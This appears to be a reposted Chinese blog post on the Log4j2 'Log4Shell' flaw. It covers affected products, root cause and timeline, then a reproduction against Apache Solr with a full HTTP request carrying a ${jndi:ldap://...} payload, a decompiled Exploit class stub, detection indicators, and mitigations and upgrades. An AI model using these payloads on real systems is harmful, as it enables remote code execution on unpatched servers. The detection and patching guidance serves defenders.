一洞一世界,一大一团灭,翻车的log4j2

  • Log4j2简介

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

  • Log4j漏洞的过往

一洞一世界,一大一团灭,翻车的log4j2

  • 一洞一世界

包括但不限于的世界级应用

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr

Apache Flink

Apache Druid

ElasticSearch

flume

dubbo

Redis

logstash

Kafka

一洞一世界,一大一团灭,翻车的log4j2

 

  • 一大一团灭

一洞一世界,一大一团灭,翻车的log4j2

 

  • 漏洞成因

由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。

由于线上 web 业务的任何数据都可能写入 Log4j,甚至一些 pre-auth 的地方,比如注册、登录,实际攻击入口取决于业务具体情况。目前百度搜索、苹果 iCloud 搜索、360 搜索等都出现了该问题。

 

  • 时间轴

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

12 月 10 日上午,阿里云安全团队二次预警,发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过。

 

  • 漏洞复现

  • 路径如下图

一洞一世界,一大一团灭,翻车的log4j2

  • localhost的大家都玩过了来点实操的应用solr任意输入位触发如下

一洞一世界,一大一团灭,翻车的log4j2

 

  • 一个大招快乐就来了多段R更欢乐

一洞一世界,一大一团灭,翻车的log4j2

  • EXP

n/cores?action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=new_core$${solr.home}{jndi:ldap://127.0.0.1:1389/Exploit}&schema=schema.xml&wt=json HTTP/1.1Host: localhost:8983Connection: keep-alivesec-ch-ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"Accept: application/json, text/plain, */*X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0Authorization: Basic c29scjpTb2xyUm9ja3M=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36sec-ch-ua-platform: "macOS"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:8983/solr/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,fr;q=0.6Cookie: _ga=GA1.1.1693267119.1592276225; _gid=GA1.1.1739971691.1637660636
  • 当然还有一种比较简单的方式哪能插就插哪多插多快乐

${jndi:ldap://127.0.0.1:1389/Exploit}

  • 这还需要一个“类”

Exploit.class  // IntelliJ API Decompiler stub source generated from a class file  // Implementation of methods is not availablepublic class Exploit implements javax.naming.spi.ObjectFactory {    public Exploit() { /* compiled code */ }    public java.lang.Object getObjectInstance(java.lang.Object o, javax.naming.Name name, javax.naming.Context context, java.util.Hashtable<?,?> hashtable) { /* compiled code */ }}

  • 漏洞排查

查看 pom.xml 是否引入 org.apache.logging.log4j、org.apache.logging.log4j2

  • Linux

sudo find / -name "*log4j-*.jar"

  • Windows

*log4j*.jar
  • 攻击排查

  • 日志排查:

攻击者在利用前通常采用dnslog方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的

“javax.naming.CommunicationException”

“javax.naming.NamingException: problem generating object using object factory”

“Error looking up JNDI resource”关键字进行排查。

  • 流量排查:

攻击者的数据包中可能存在:“${jndi:rmi”、“${jndi:ldap”字样,推荐使用奇安信网神网站应用安全云防护系统全流量或WAF设备进行检索排查。

 

  • 修复

  • 治标

1由于攻击者在攻击过程中可能使用 DNSLog 进行漏洞探测,建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求,微步在线的 OneDNS 也已经识别主流 DNSLog 域名并支持拦截。2根据目前微步在线对于此类漏洞的研究积累,我们建议企业可以通过监测相关流量或者日志中是否存在“jndi:ldap://”“jndi:rmi”等字符来发现可能的攻击行为。

3修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true 

4修改配置 log4j2.formatMsgNoLookups=True 

5将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true

 

  • 治本

1、禁止使用 log4j 服务器外连,升级 jdk 11.0.1 8u191 7u201 6u211 或更高版本。 

2、升级至 log4j-2.15.0-rc2 

     下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0- rc2 

 

本文来源于互联网:一洞一世界,一大一团灭,翻车的log4j2